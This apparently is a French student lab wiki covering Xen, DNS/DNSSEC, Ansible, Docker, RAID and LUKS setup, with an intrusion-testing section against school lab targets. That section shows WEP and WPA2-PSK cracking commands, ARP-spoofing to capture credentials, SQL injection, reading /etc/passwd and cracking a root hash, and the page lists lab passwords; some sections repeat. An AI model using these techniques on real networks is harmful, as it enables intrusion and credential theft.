/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:02:15Z

Psanchez : /* Cassage de mot de passe WPA2-PSK par force brute */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

